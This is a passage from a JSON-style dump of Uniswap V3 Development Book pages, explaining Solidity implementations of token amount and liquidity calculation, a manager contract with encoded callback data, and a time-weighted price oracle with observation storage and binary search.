\\sqrt{p(i_c)})}{\\sqrt{p(i_u)}\\sqrt{p(i_c)}}$$ $$\\Delta y = L(\\sqrt{p(i_c)} - \\sqrt{p(i_l)})$$ $\\Delta x$ is the amount of token0 , or token $x$. Lets implement it in Solidity: // src/lib/Math.sol function calcAmount0Delta ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint128 liquidity ) internal pure returns ( uint256 amount0) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); require(sqrtPriceAX96 > 0 ); amount0 = divRoundingUp( mulDivRoundingUp( ( uint256 (liquidity) << FixedPoint96.RESOLUTION), (sqrtPriceBX96 - sqrtPriceAX96), sqrtPriceBX96 ), sqrtPriceAX96 ); } This function is identical to calc_amount0 in our Python script. First step is to sort the prices to ensure we dont underflow when subtracting. Next, we convert liquidity to a Q96.64 number by multiplying it by 2**96. Next, according to the formula, we multiply it by the difference of the prices and divide it by the bigger price. Then, we divide by the smaller price. The order of division doesnt matter, but we want to have two divisions because multiplication of prices can overflow. Were using mulDivRoundingUp to multiply and divide in one operation. This function is based on mulDiv from PRBMath : function mulDivRoundingUp ( uint256 a, uint256 b, uint256 denominator ) internal pure returns ( uint256 result) { result = PRBMath.mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0 ) { require(result < type( uint256 ).max); result ++ ; } } mulmod is a Solidity function that multiplies two numbers ( a and b ), divides the result by denominator , and returns the remainder. If the remainder is positive, we round the result up. Next, $\\Delta y$: function calcAmount1Delta ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint128 liquidity ) internal pure returns ( uint256 amount1) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); amount1 = mulDivRoundingUp( liquidity, (sqrtPriceBX96 - sqrtPriceAX96), FixedPoint96.Q96 ); } This function is identical to calc_amount1 in our Python script. Again, were using mulDivRoundingUp to avoid overflows during multiplication. And thats it! We can now use the functions to calculate token amounts: // src/UniswapV3Pool.sol function mint (...) { ... Slot0 memory slot0_ = slot0; amount0 = Math.calcAmount0Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(upperTick), amount ); amount1 = Math.calcAmount1Delta( slot0_.sqrtPriceX96, TickMath.getSqrtRatioAtTick(lowerTick), amount ); ... } Everything else remains the same. Youll need to update the amounts in the pool tests, theyll be slightly different due to rounding. \\[ \\] Generalize Minting Indexing Initialized Ticks Token Amounts Calculation", - "labels": [ - "Documentation" - ] - }, - { - "title": "Liquidity Calculation #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/liquidity-calculation/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Liquidity Calculation Liquidity Calculation Implementing Liquidity Calculation for Token X Implementing Liquidity Calculation for Token Y Finding Fair Liquidity Liquidity Calculation # Of the whole math of Uniswap V3, what we havent yet implemented in Solidity is liquidity calculation. In the Python script, we have these functions: def liquidity0 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return (amount * (pa * pb) / q96) / (pb - pa) def liquidity1 (amount, pa, pb): if pa > pb: pa, pb = pb, pa return amount * q96 / (pb - pa) Lets implement them in Solidity so we could calculate liquidity in the Manager.mint() function. Implementing Liquidity Calculation for Token X # The functions were going to implement allow us to calculate liquidity ($L = \\sqrt{xy}$) when token amounts and price ranges are known. Luckily, we already know all the formulas. Lets recall this one: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}}L$$ In a previous chapter, we used this formula to calculate swap amounts ($\\Delta x$ in this case) and now were going to use it to find $L$: $$L = \\frac{\\Delta x}{\\Delta \\frac{1}{\\sqrt{P}}}$$ Or, after simplifying it: $$L = \\frac{\\Delta x \\sqrt{P_u} \\sqrt{P_l}}{\\sqrt{P_u} - \\sqrt{P_l}}$$ We derived this formula in Liquidity Amount Calculation . In Solidity, well again use PRBMath to handle overflows when multiplying and then dividing: function getLiquidityForAmount0 ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount0 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); uint256 intermediate = PRBMath.mulDiv( sqrtPriceAX96, sqrtPriceBX96, FixedPoint96.Q96 ); liquidity = uint128 ( PRBMath.mulDiv(amount0, intermediate, sqrtPriceBX96 - sqrtPriceAX96) ); } Implementing Liquidity Calculation for Token Y # Similarly, well use the other formula from Liquidity Amount Calculation to find $L$ when amount of $y$ and price range is known: $$\\Delta y = \\Delta\\sqrt{P} L$$ $$L = \\frac{\\Delta y}{\\sqrt{P_u}-\\sqrt{P_l}}$$ function getLiquidityForAmount1 ( uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount1 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); liquidity = uint128 ( PRBMath.mulDiv( amount1, FixedPoint96.Q96, sqrtPriceBX96 - sqrtPriceAX96 ) ); } I hope this is clear! Finding Fair Liquidity # You might be wondering why there are two ways of calculating $L$ while we have always had only one $L$, which is calculated as $L = \\sqrt{xy}$, and which of these ways is correct. The answer is: theyre both correct. In the above formulas, we calculate $L$ based on different parameters: price range and the amount of either token. Different price ranges and different token amounts will result in different values of $L$. And theres a scenario where we need to calculate both of the $L$s and pick one of them. Recall this piece from mint function: if (slot0_.tick < lowerTick) { amount0 = Math.calcAmount0Delta(...); } else if (slot0_.tick < upperTick) { amount0 = Math.calcAmount0Delta(...); amount1 = Math.calcAmount1Delta(...); liquidity = LiquidityMath.addLiquidity(liquidity, int128 (amount)); } else { amount1 = Math.calcAmount1Delta(...); } It turns out, we also need to follow this logic when calculating liquidity: if were calculating liquidity for a range thats above the current price, we use the $\\Delta x$ version on the formula; when calculation liquidity for a range thats below the current price, we use the $\\Delta y$ one; when a price range includes the current price, we calculate both and pick the smaller of them. Again, we discussed these ideas in Liquidity Amount Calculation . Lets implement this logic now. When current price is below the lower bound of a price range: function getLiquidityForAmounts ( uint160 sqrtPriceX96, uint160 sqrtPriceAX96, uint160 sqrtPriceBX96, uint256 amount0, uint256 amount1 ) internal pure returns ( uint128 liquidity) { if (sqrtPriceAX96 > sqrtPriceBX96) (sqrtPriceAX96, sqrtPriceBX96) = (sqrtPriceBX96, sqrtPriceAX96); if (sqrtPriceX96 <= sqrtPriceAX96) { liquidity = getLiquidityForAmount0( sqrtPriceAX96, sqrtPriceBX96, amount0 ); When current price is within a range, were picking the smaller $L$: } else if (sqrtPriceX96 <= sqrtPriceBX96) { uint128 liquidity0 = getLiquidityForAmount0( sqrtPriceX96, sqrtPriceBX96, amount0 ); uint128 liquidity1 = getLiquidityForAmount1( sqrtPriceAX96, sqrtPriceX96, amount1 ); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; And finally: } else { liquidity = getLiquidityForAmount1( sqrtPriceAX96, sqrtPriceBX96, amount1 ); } Done. \\[ \\] Liquidity Calculation Implementing Liquidity Calculation for Token X Implementing Liquidity Calculation for Token Y Finding Fair Liquidity", - "labels": [ - "Documentation" - ] - }, - { - "title": "Manager Contract #", - "html_url": "https://uniswapv3book.com/docs/milestone_1/manager-contract/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Manager Contract Manager Contract Workflow Passing Data to Callbacks Implementing Manager Contract Manager Contract # Before deploying our pool contract, we need to solve one problem. As you remember, Uniswap V3 contracts are split into two categories: Core contracts that implement the core functions and dont provide user-friendly interfaces. Periphery contracts that implement user-friendly interfaces for the core contracts. The pool contract is a core contract, its not supposed to be user-friendly and flexible. It expects the caller to do all the calculations (prices, amounts) and to provide proper call parameters. It also doesnt use ERC20s transferFrom to transfer tokens from the caller. Instead, it uses two callbacks: uniswapV3MintCallback , which is called when minting liquidity; uniswapV3SwapCallback , which is called when swapping tokens. In our tests, we implemented these callbacks in the test contract. Since its only a contract that can implement them, the pool contract cannot be called by regular users (non-contract addresses). This is fine. But not anymore . Our next steps in the book is deploying the pool contract to a local blockchain and interacting with it from a front-end app. Thus, we need to build a contract that will let non-contract addresses to interact with the pool. Lets do this now! Workflow # This is how the manager contract will work: To mint liquidity, well approve spending of tokens to the manager contract. Well then call mint function of the manager contract and pass it minting parameters, as well as the address of the pool we want to provide liquidity into. The manager contract will call the pools mint function and will implement uniswapV3MintCallback . Itll have permissions to send our tokens to the pool contract. To swap tokens, well also approve spending of tokens to the manager contract. Well then call swap function of the manager contract and, similarly to minting, itll pass the call to the pool. The manager contract will send our tokens to the pool contract, the pool contract will swap them, and will send the output amount to us. Thus, the manager contract will act as a intermediary between users and pools. Passing Data to Callbacks # Before implementing the manager contract, we need to upgrade the pool contract. The manager contract will work with any pool and itll allow any address to call it. To achieve this, we need to upgrade the callbacks: we want to pass different pool addresses and user addresses to them. Lets look at our current implementation of uniswapV3MintCallback (in the test contract): function uniswapV3MintCallback ( uint256 amount0, uint256 amount1) public { if (transferInMintCallback) { token0.transfer(msg.sender, amount0); token1.transfer(msg.sender, amount1); } } Key points here: The function transfers tokens belonging to the test contractwe want it to transfer tokens from the caller by using transferFrom . The function knows token0 and token1 , which will be different for every pool. Idea: we need to change the arguments of the callback so we could pass user and pool addresses. Now, lets look at the swap callback: function uniswapV3SwapCallback ( int256 amount0, int256 amount1) public { if (amount0 > 0 && transferInSwapCallback) { token0.transfer(msg.sender, uint256 (amount0)); } if (amount1 > 0 && transferInSwapCallback) { token1.transfer(msg.sender, uint256 (amount1)); } } Identically, it transfers tokens from the test contract and it knows token0 and token1 . To pass the extra data to the callbacks, we need to pass it to mint and swap first (since callbacks are called from these functions). However, since this extra data is not used in the functions and to not make their arguments messier, well encode the extra data using abi.encode() . Lets define the extra data as a structure: // src/UniswapV3Pool.sol ... struct CallbackData { address token0; address token1; address payer; } ... And then pass encoded data to the callbacks: function mint ( address owner, int24 lowerTick, int24 upperTick, uint128 amount, bytes calldata data // <--- New line ) external returns ( uint256 amount0, uint256 amount1) { ... IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback( amount0, amount1, data // <--- New line ); ... } function swap ( address recipient, bytes calldata data) // <--- `data` added public returns ( int256 amount0, int256 amount1) { ... IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1, data // <--- New line ); ... } Now, we can read the extra data in the callbacks in the test contract. function uniswapV3MintCallback ( uint256 amount0, uint256 amount1, bytes calldata data ) public { if (transferInMintCallback) { UniswapV3Pool.CallbackData memory extra = abi.decode( data, (UniswapV3Pool.CallbackData) ); IERC20(extra.token0).transferFrom(extra.payer, msg.sender, amount0); IERC20(extra.token1).transferFrom(extra.payer, msg.sender, amount1); } } Try updating the rest of the code yourself, and if it gets too difficult, feel free peeking at this commit . Implementing Manager Contract # Besides implementing the callbacks, the manager contract wont do much: itll simply redirect calls to a pool contract. This is a very minimalistic contract at this moment: pragma solidity ^ 0 . 8 . 14 ; import \"../src/UniswapV3Pool.sol\" ; import \"../src/interfaces/IERC20.sol\" ; contract UniswapV3Manager { function mint ( address poolAddress_, int24 lowerTick, int24 upperTick, uint128 liquidity, bytes calldata data ) public { UniswapV3Pool(poolAddress_).mint( msg.sender, lowerTick, upperTick, liquidity, data ); } function swap ( address poolAddress_, bytes calldata data) public { UniswapV3Pool(poolAddress_).swap(msg.sender, data); } function uniswapV3MintCallback (...) {...} function uniswapV3SwapCallback (...) {...} } The callbacks are identical to those in the test contract, with the exception that there are no transferInMintCallback and transferInSwapCallback flags since the manager contract always transfers tokens. Well, were now fully prepared for deploying and integrating with a front-end app! Manager Contract Workflow Passing Data to Callbacks Implementing Manager Contract", - "labels": [ - "Documentation" - ] - }, - { - "title": "Price Oracle #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/price-oracle/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Price Oracle Price Oracle What is Price Oracle? How Uniswap Price Oracle Works Price Manipulation Mitigation Price Oracle Implementation Observations and Cardinality Writing Observations Increase of Cardinality Reading Observations Interpreting Observations Price Oracle # The final mechanism were going to add to our DEX is a price oracle . Even though its not essential to a DEX (there are DEXes that dont implement a price oracle), its still an important feature of Uniswap and something thats interesting to learn about. What is Price Oracle? # Price oracle is a mechanism that provides asset prices to blockchain. Since blockchains are isolated ecosystems, theres no direct way of querying external data, e.g. fetching asset prices from centralized exchanges via API. Another, a very hard one, problem is data validity and authenticity: when fetching prices from an exchange, how do you know theyre real? You have to trust the source. But the internet is not often secure and, sometimes, prices can be manipulated, DNS records can be hijacked, API servers can go down, etc. All these difficulties need to be addressed so we could have reliable and correct on-chain prices. One of the first working solution of the above mentioned problems was Chainlink . Chainlink runs a decentralized network of oracles that fetch asset prices from centralized exchanges via APIs, average them, and provide them on-chain in a tamper-proof way. Basically, Chainlink is a set of contracts with one state variable, asset price, that can be read by anyone (any other contract or user) but can be written to only by oracles. This is one way of looking at price oracles. Theres another. If we have native on-chain exchanges, why would we need to fetch prices from outside? This is how the Uniswap price oracle works. Thanks to arbitraging and high liquidity, asset prices on Uniswap are close to those on centralized exchanges. So, instead of using centralized exchanges as the source of truth for asset prices, we can use Uniswap, and we dont need to solve the problems related to delivering data on-chain (we also dont need to trust to data providers). How Uniswap Price Oracle Works # Uniswap simply keeps the record of all previous swap prices. Thats it. But instead of tracking actual prices, Uniswap tracks the accumulated price , which is the sum of prices at each second in the history of a pool contract. $$a_{i} = \\sum_{i=1}^t p_{i}$$ This approach allows to find time-weighted average price between two points in time ($t_1$ and $t_2$) by simply getting the accumulated prices at these points ($a_{t_1}$ and $a_{t_2}$), subtracting one from the other, and dividing by the number of seconds between the two points: $$p_{t_1,t_2} = \\frac{a_{t_2} - a_{t_1}}{t_2 - t_1}$$ This is how it worked in Uniswap V2. In V3, its slightly different. The price thats accumulated is the current tick (which is $log_{1.0001}$ of the price): $$a_{i} = \\sum_{i=1}^t log_{1.0001}P(i)$$ And instead of averaging prices, geometric mean is taken: $$ P_{t_1,t_2} = \\left( \\prod_{i=t_1}^{t_2} P_i \\right) ^ \\frac{1}{t_2-t_1} $$ To find the time-weighted geometric mean price between two points in time, we take the accumulated values at these time points, subtract one from the other, divide by the number of seconds between the two points, and calculate $1.0001^{x}$: $$ log_{1.0001}{(P_{t_1,t_2})} = \\frac{\\sum_{i=t_1}^{t_2} log_{1.0001}(P_i)}{t_2-t_1}$$ $$ = \\frac{a_{t_2} - a_{t_1}}{t_2-t_1}$$ $$P_{t_1,t_2} = 1.0001^{\\frac{a_{t_2} - a_{t_1}}{t_2-t_1}}$$ Uniswap V2 didnt store historical accumulated prices, which required referring to a third-party blockchain data indexing service to find a historical price when calculating an average one. Uniswap V3, on the other hand, allows to store up to 65,535 historical accumulated prices, which makes it much easier to calculate any historical time-weighter geometric price. Price Manipulation Mitigation # Another important topic is price manipulation and how its mitigated in Uniswap. Its theoretically possible to manipulate a pools price to your advantage: for example, buy a big amount of tokens to raise its price and get a profit on a third-party DeFi service that uses Uniswap price oracles, then trade the tokens back to the real price. To mitigate such attacks, Uniswap tracks prices at the end of a block , after the last trade of a block. This removes the possibility of in-block price manipulations. Technically, prices in the Uniswap oracle are updated at the beginning of each block, and each price is calculated before the first swap in a block. Price Oracle Implementation # Alright, lets get to code. Observations and Cardinality # Well begin by creating the Oracle library contract and the Observation structure: // src/lib/Oracle.sol library Oracle { struct Observation { uint32 timestamp; int56 tickCumulative; bool initialized; } ... } An observation is a slot that stores a recorded price. It stores a price, the timestamp when this price was recorded, and the initialized flag that is set to true when the observation is activated (not all observations are activated by default). A pool contract can store up to 65,535 observations: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { using Oracle for Oracle.Observation[ 65535 ]; ... Oracle.Observation[ 65535 ] public observations; } However, since storing that many instances of Observation requires a lot of gas (someone would have to pay for writing each of them to contracts storage), a pool by default can store only 1 observation, which gets overwritten each time a new price is recorded. The number of activated observations, the cardinality of observations, can be increased at any time by anyone whos willing to pay for that. To manage cardinality, we need a few extra state variables: ... struct Slot0 { // Current sqrt(P) uint160 sqrtPriceX96; // Current tick int24 tick; // Most recent observation index uint16 observationIndex; // Maximum number of observations uint16 observationCardinality; // Next maximum number of observations uint16 observationCardinalityNext; } ... observationIndex tracks the index of the most recent observation; observationCardinality tracks the number of activated observations; observationCardinalityNext track the next cardinality the array of observations can expand to. Observations are stored in a fixed-length array that expands when a new observation is saved and observationCardinalityNext is greater than observationCardinality (which signals that cardinality can be expanded). If the array cannot be expanded (next cardinality value equals to the current one), oldest observations get overwritten, i.e. observation is stored at index 0, next one is stored at index 1, and so on. When pool is created, observationCardinality and observationCardinalityNext are set to 1: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { function initialize ( uint160 sqrtPriceX96) public { ... ( uint16 cardinality, uint16 cardinalityNext) = observations.initialize( _blockTimestamp() ); slot0 = Slot0({ sqrtPriceX96 : sqrtPriceX96, tick : tick, observationIndex : 0 , observationCardinality : cardinality, observationCardinalityNext : cardinalityNext }); } } // src/lib/Oracle.sol library Oracle { ... function initialize (Observation[ 65535 ] storage self, uint32 time) internal returns ( uint16 cardinality, uint16 cardinalityNext) { self[ 0 ] = Observation({ timestamp : time, tickCumulative : 0 , initialized : true }); cardinality = 1 ; cardinalityNext = 1 ; } ... } Writing Observations # In swap function, when current price is changed, an observation is written to the observations array: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { function swap (...) public returns (...) { ... if (state.tick != slot0_.tick) { ( uint16 observationIndex, uint16 observationCardinality ) = observations.write( slot0_.observationIndex, _blockTimestamp(), slot0_.tick, slot0_.observationCardinality, slot0_.observationCardinalityNext ); ( slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality ) = ( state.sqrtPriceX96, state.tick, observationIndex, observationCardinality ); } ... } } Notice that the tick thats observed here is slot0_.tick (not state.tick ), i.e. the price before the swap! Its updated with a new price in the next statement. This is the price manipulation mitigation we discussed earlier: Uniswap tracks prices before the first trade in the block and after the last trade in the previous block. Also notice that each observation is identified by _blockTimestamp() , i.e. the current block timestamp. This means that if theres already an observation for the current block, a price is not recorded. If there are no observations for the current block (i.e. this is the first swap in the block), a price is recorded. This is part of the price manipulation mitigation mechanism. // src/lib/Oracle.sol function write ( Observation[ 65535 ] storage self, uint16 index, uint32 timestamp, int24 tick, uint16 cardinality, uint16 cardinalityNext ) internal returns ( uint16 indexUpdated, uint16 cardinalityUpdated) { Observation memory last = self[index]; if (last.timestamp == timestamp) return (index, cardinality); if (cardinalityNext > cardinality && index == (cardinality - 1 )) { cardinalityUpdated = cardinalityNext; } else { cardinalityUpdated = cardinality; } indexUpdated = (index + 1 ) % cardinalityUpdated; self[indexUpdated] = transform(last, timestamp, tick); } Here we see that an observation is skipped when theres already an observation made at the current block. If theres no such observation though, were saving a new one and trying to expand the cardinality when possible. The modulo operator ( % ) ensures that observation index stays within the range $[0, cardinality)$ and resets to 0 when the upper bound is reached. Now, lets look at the transform function: function transform ( Observation memory last, uint32 timestamp, int24 tick ) internal pure returns (Observation memory ) { uint56 delta = timestamp - last.timestamp; return Observation({ timestamp : timestamp, tickCumulative : last.tickCumulative + int56 (tick) * int56 (delta), initialized : true }); } What were calculating here is the accumulated price: current tick gets multiplied by the number of the seconds since the last observation and gets added to the last accumulated price. Increase of Cardinality # Lets now see how cardinality is expanded. Anyone at any time can increase the cardinality of observations of a pool and pay for the gas required to do so. For this, well add a new public function to Pool contract: // src/UniswapV3Pool.sol function increaseObservationCardinalityNext ( uint16 observationCardinalityNext ) public { uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; uint16 observationCardinalityNextNew = observations.grow( observationCardinalityNextOld, observationCardinalityNext ); if (observationCardinalityNextNew != observationCardinalityNextOld) { slot0.observationCardinalityNext = observationCardinalityNextNew; emit IncreaseObservationCardinalityNext( observationCardinalityNextOld, observationCardinalityNextNew ); } } And a new function to Oracle: // src/lib/Oracle.sol function grow ( Observation[ 65535 ] storage self, uint16 current, uint16 next ) internal returns ( uint16 ) { if (next <= current) return current; for ( uint16 i = current; i < next; i ++ ) { self[i].timestamp = 1 ; } return next; } In the grow function, were allocating new observations by setting the timestamp field of each of them to some non- zero value. Notice that self is a storage variable, assigning values to its elements will update the array counter and write the values to contracts storage. Reading Observations # Weve finally come to the trickiest part of this chapter: reading of observations. Before moving on, lets review how observations are stored to get a better picture. Observations are stored in a fixed-length array that can be expanded: As we noted above, observations are expected to overflow: if a new observation doesnt fit into the array, writing continues starting at index 0, i.e. oldest observations get overwritten: Theres no guarantee that an observation will be stored for every block because swaps dont happen in every block. Thus, there will be blocks we dont know prices at, and such periods of missing observations can be long. Of course, we dont want to have gaps in the prices reported by the oracle, and this is why were using time-weighted average prices (TWAP)so we could have averaged prices in the periods where there were no observations. TWAP allows us to interpolate prices, i.e. to draw a line between two observationseach point on the line will be a price at a specific timestamp between the two observations. So, reading observations means finding observations by timestamps and interpolating missing observations, taking into consideration that the observations array is allowed to overflow (e.g. the oldest observation can come after the most recent one in the array). Since were not indexing the observations by timestamps (to save gas), well need to use the binary search algorithm to efficient search. But not always. Lets break it down into smaller steps and begin by implementing observe function in Oracle : function observe ( Observation[ 65535 ] storage self, uint32 time, uint32 [] memory secondsAgos, int24 tick, uint16 index, uint16 cardinality ) internal view returns ( int56 [] memory tickCumulatives) { tickCumulatives = new int56 [](secondsAgos.length); for ( uint256 i = 0 ; i < secondsAgos.length; i ++ ) { tickCumulatives[i] = observeSingle( self, time, secondsAgos[i], tick, index, cardinality ); } } The function takes current block timestamp, the list of time points we want to get prices at ( secondsAgo ), current tick, observations index, and cardinality. Moving to the observeSingle function: function observeSingle ( Observation[ 65535 ] storage self, uint32 time, uint32 secondsAgo, int24 tick, uint16 index, uint16 cardinality ) internal view returns ( int56 tickCumulative) { if (secondsAgo == 0 ) { Observation memory last = self[index]; if (last.timestamp != time) last = transform(last, time, tick); return last.tickCumulative; } ... } When most recent observation is requested (0 seconds passed), we can return it right away. If it wasnt record in the current block, transform it to consider the current block and the current tick. If an older time point is requested, we need to make several checks before switching to the binary search algorithm: if the requested time point is the last observation, we can return the accumulated price at the latest observation; if the requested time point is after the last observation, we can call transform to find the accumulated price at this point, knowing the last observed price and the current price; if the requested time point is before the last observation, we have to use the binary search. Lets go straight to the third point: function binarySearch ( Observation[ 65535 ] storage self, uint32 time, uint32 target, uint16 index, uint16 cardinality ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) { ... The function takes the current block timestamp ( time ), the timestamp of the price point requested ( target ), as well as the current observations index and cardinality. It returns the range between two observations in which the requested time point is located. To initialize the binary search algorithm, we set the boundaries: uint256 l = (index + 1 ) % cardinality; // oldest observation uint256 r = l + cardinality - 1 ; // newest observation uint256 i; Recall that the observations array is expected to overflow, thats why were using the modulo operator here. Then we spin up an infinite loop, in which we check the middle point of the range: if its not initialized (theres no observation), were continuing with the next point: while ( true ) { i = (l + r) / 2 ; beforeOrAt = self[i % cardinality]; if ( ! beforeOrAt.initialized) { l = i + 1 ; continue ; } ... If the point is initialized, we call it the left boundary of the range we want the requested time point to be included in. And were trying to find the right boundary ( atOrAfter ): ... atOrAfter = self[(i + 1 ) % cardinality]; bool targetAtOrAfter = lte(time, beforeOrAt.timestamp, target); if (targetAtOrAfter && lte(time, target, atOrAfter.timestamp)) break ; ... If weve found the boundaries, we return them. If not, we continue our search: ... if ( ! targetAtOrAfter) r = i - 1 ; else l = i + 1 ; } After finding a range of observations the requested time point belongs to, we need to calculate the price at the requested time point: // function observeSingle() { ... uint56 observationTimeDelta = atOrAfter.timestamp - beforeOrAt.timestamp; uint56 targetDelta = target - beforeOrAt.timestamp; return beforeOrAt.tickCumulative + ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / int56 (observationTimeDelta)) * int56 (targetDelta); ... This is as simple as finding the average rate of change within the range and multiplying it by the number of seconds that has passed between the lower bound of the range and the time point we need. This is the interpolation we discussed earlier. The last thing we need to implement here is a public function in Pool contract that reads and returns observations: // src/UniswapV3Pool.sol function observe ( uint32 [] calldata secondsAgos) public view returns ( int56 [] memory tickCumulatives) { return observations.observe( _blockTimestamp(), secondsAgos, slot0.tick, slot0.observationIndex, slot0.observationCardinality ); } Interpreting Observations # Lets now see how to interpret observations. The observe function we just added returns an array of accumulated prices, and we want to know how to convert them to actual prices. Ill demonstrate this in a test of the observe function. In the test, I run multiple swaps in different directions and at different blocks: function testObserve () public { ... pool.increaseObservationCardinalityNext( 3 ); vm.warp( 2 ); pool.swap( address (this), false , swapAmount, sqrtP( 6000 ), extra); vm.warp( 7 ); pool.swap( address (this), true , swapAmount2, sqrtP( 4000 ), extra); vm.warp( 20 ); pool.swap( address (this), false , swapAmount, sqrtP( 6000 ), extra); ... vm.warp is a cheat-code provided by Foundry: it forwards to a block with the specified timestamp. 2, 7, 20 these are block timestamps. The first swap is made at the block with timestamp 2, the second one is made at timestamp 7, and the third one is made at timestamp 20. We can then read the observations: ... secondsAgos = new uint32 []( 4 ); secondsAgos[ 0 ] = 0 ; secondsAgos[ 1 ] = 13 ; secondsAgos[ 2 ] = 17 ; secondsAgos[ 3 ] = 18 ; int56 [] memory tickCumulatives = pool.observe(secondsAgos); assertEq(tickCumulatives[ 0 ], 1607059 ); assertEq(tickCumulatives[ 1 ], 511146 ); assertEq(tickCumulatives[ 2 ], 170370 ); assertEq(tickCumulatives[ 3 ], 85176 ); ... The earliest observed price is 0, which is the initial observation thats set when the pool is deployed. However, since the cardinality was set to 3 and we made 3 swaps, it was overwritten by the last observation. During the first swap, tick 85176 was observed, which is the initial price of the poolrecall that the price before a swap is observed. Because the very first observation was overwritten, this is the oldest observation now. Next returned accumulated price is 170370, which is 85176 + 85194 . The former is the previous accumulator value, the latter is the price after the first swap that was observed during the second swap. Next returned accumulated price is 511146, which is (511146 - 170370) / (17 - 13) = 85194 , the accumulated price between the second and the third swap. Finally, the most recent observation is 1607059, which is (1607059 - 511146) / (20 - 7) = 84301 , which is ~4581 USDC/ETH, the price after the second swap that was observed during the third swap. And heres an example that involves interpolation: the time points requested are not the time points of the swaps: secondsAgos = new uint32 []( 5 ); secondsAgos[ 0 ] = 0 ; secondsAgos[ 1 ] = 5 ; secondsAgos[ 2 ] = 10 ; secondsAgos[ 3 ] = 15 ; secondsAgos[ 4 ] = 18 ; tickCumulatives = pool.observe(secondsAgos); assertEq(tickCumulatives[ 0 ], 1607059 ); assertEq(tickCumulatives[ 1 ], 1185554 ); assertEq(tickCumulatives[ 2 ], 764049 ); assertEq(tickCumulatives[ 3 ], 340758 ); assertEq(tickCumulatives[ 4 ], 85176 ); This results in prices: 4581.03, 4581.03, 4747.6, 5008.91, which are the average prices within the requested intervals. Heres how to compute those values in Python: vals = [ 1607059 , 1185554 , 764049 , 340758 , 85176 ] secs = [ 0 , 5 , 10 , 15 , 18 ] [ 1.0001 ** ((vals[i] - vals[i + 1 ]) / (secs[i + 1 ] - secs[i])) for i in range(len(vals) - 1 )] \\[ \\] Price Oracle What is Price Oracle? How Uniswap Price Oracle Works Price Manipulation Mitigation Price Oracle Implementation Observations and Cardinality Writing Observations Increase of Cardinality Reading Observations Interpreting Observations", - "labels": [ - "Documentation" - ] - }, - { - "title": "User Interface #", - "html_url": "https://uniswapv3book.com/docs/milestone_4/user-interface/", - "body": "Uniswap V3 Development Book Milestone 0. 